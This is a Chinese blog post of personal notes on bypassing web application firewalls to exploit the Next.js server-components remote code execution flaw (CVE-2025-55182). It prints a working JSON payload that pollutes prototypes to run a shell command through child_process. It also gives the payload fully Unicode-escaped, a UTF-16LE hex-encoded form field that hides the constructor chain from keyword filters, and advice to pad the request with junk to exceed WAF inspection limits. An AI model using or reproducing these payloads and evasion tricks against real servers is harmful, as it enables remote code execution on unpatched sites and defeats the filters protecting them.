前言
最近Next.js RCE 经历了从“核弹”->“跳弹”->“核弹”的戏剧性转折,备受关注。
我最近也看到了各种各样的POC、脚本等等,相关poc可以看前一篇文章:Next.js 默认配置即可RCE,速修!附POC 回显、内存马、unicode编码(CVE-2025-55182&CVE-2025-66478)。本问主要记录下我根据网上的各种bypass waf自己摸索的一些简单见解,鉴于本人对JavaScript、Next.js和React这些前端/全栈框架不熟悉,余下所述大体性质以笔记为主,算不得研究,如有错误不当之处,还请斧正。
正文
初阶bypass
我最开始的bypass waf姿势使用的是大多数在测试Java的fastjson反序列化相关漏洞里用到,使用Unicode编码以及在各个字符集间插入一些特殊的Unicode来达到绕过waf的目的,为此我还专门用AI写了个Unicode编码json的键、值或键值对的小工具JSON Unicode 转换器
比如将如下body回显poc的键值对全部使用Unicode编码
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString('base64');throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

编码后如下
{
"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e",
"\u0073\u0074\u0061\u0074\u0075\u0073": "\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c",
"\u0072\u0065\u0061\u0073\u006f\u006e": -1,
"\u0076\u0061\u006c\u0075\u0065": "\u007b\u0022\u0074\u0068\u0065\u006e\u0022\u003a\u0022\u0024\u0042\u0022\u007d",
"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {
"\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003d\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065\u002e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0027\u0069\u0064\u0027\u002c\u007b\u0027\u0074\u0069\u006d\u0065\u006f\u0075\u0074\u0027\u003a\u0035\u0030\u0030\u0030\u007d\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0027\u0062\u0061\u0073\u0065\u0036\u0034\u0027\u0029\u003b\u0074\u0068\u0072\u006f\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u002e\u0061\u0073\u0073\u0069\u0067\u006e\u0028\u006e\u0065\u0077\u0020\u0045\u0072\u0072\u006f\u0072\u0028\u0027\u004e\u0045\u0058\u0054\u005f\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u0027\u0029\u002c\u0020\u007b\u0064\u0069\u0067\u0065\u0073\u0074\u003a\u0060\u0024\u007b\u0072\u0065\u0073\u007d\u0060\u007d\u0029\u003b",
"\u005f\u0063\u0068\u0075\u006e\u006b\u0073": "\u0024\u0051\u0032",
"\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061": {
"\u0067\u0065\u0074": "\u0024\u0031\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072\u003a\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
}
}
}
最开始这样是可以绕过一些初阶waf的,但是对于一些厉害的waf是不行的。
中阶bypass
这是在x上看到P牛的推文,在感叹痛失5W$赏金的截图里发现的!使用特殊编码来绕过waf对关键字的拦截,P牛依旧是那个P牛!

如上图所示,P牛将"$1:constructor:constructor" 部分摘出来,单独使用utf16le进行编码
这里使用CyberChef与yakit的fuzztag组合方便快速编解码

Content-Disposition: form-data; name="3"
Content-Type: text/plain; charset=utf16le
{{hexd(2200240031003a0063006f006e007300740072007500630074006f0072003a0063006f006e007300740072007500630074006f0072002200)}}
亦或将整体全部进行utf16le编码都是可以的

编码后使用yakit进行hex解码发送

同样是可以得到id命令执行的结果的,同时可见图中的charset=ucs2,其实utf16be、ucs2等编码代号(UTF-16与UCS-2味同一个编码类型)都是同一个编码。
chaset的多种写法如 utf16le、utf-16le 或者 ucs2、ucs-2 这些写法都是支持的。
要理解这种编码方式,首先,需要明确一个概念:React 是前端库,不负责解析 HTTP 请求体;Next.js(作为全栈框架)的服务端部分(API Routes 或 Route Handlers)才负责解析这些数据。
那为什么支持这些编码方式呢?那里可以查看支持的编码列表呢?通过搜索找到了Node.js和 mdn官方介绍。
在 Next.js 环境中,处理编码的核心依赖于以下两个标准:
A. Node.js Buffer 和 iconv-lite (底层支持)
Next.js 运行在 Node.js 上时,原生支持的编码非常有限。
- 官方文档: Node.js Buffer Encodings
- 原生支持:
utf8,utf16le(即 UCS-2),latin1,base64,hex,ascii. - 扩展支持: 如果你需要处理 GBK, Big5 等,通常社区标准是使用
iconv-lite库,但这需要你手动引入。


B. Web Standard TextDecoder (App Router 标准)
在 Next.js App Router (使用 Request / Response API) 中,底层依赖 Web 标准 API。
- 官方文档: MDN TextDecoder Encodings
- 支持列表:
utf-8,utf-16le,utf-16be,iso-8859-1,windows-1252,gbk,big5等等。

“终极bypass”
大力出奇迹!众所周知,所有直路检测设备都面临一个难题就是性能与检测量的平衡点的博弈,检测量大了,设备扛不住,检测量小了,又容易漏。这事儿赛博菩萨也没办法,为了减小此次漏洞的影响面,Cloudflare为所有用户开启了拦截next.js rce相关poc的利用,从最开始的128kb大小升级到1M,也是治标不治本啊!

但是你可以自己手动设置next.js处理包的大小(如果配合其他后端如nginx可能支持超过此设置)

然而此次漏洞是multipart/form-data格式的利用,可以填充大量垃圾字符,直到达到waf预设的临界值,但是没有超过后端的上传上限,此时就可以配合前面的编码方式甚至不需要编码绕过waf。
以及其他如分块传输、分块延时、随机延时传输、新的反射调用链等等等。


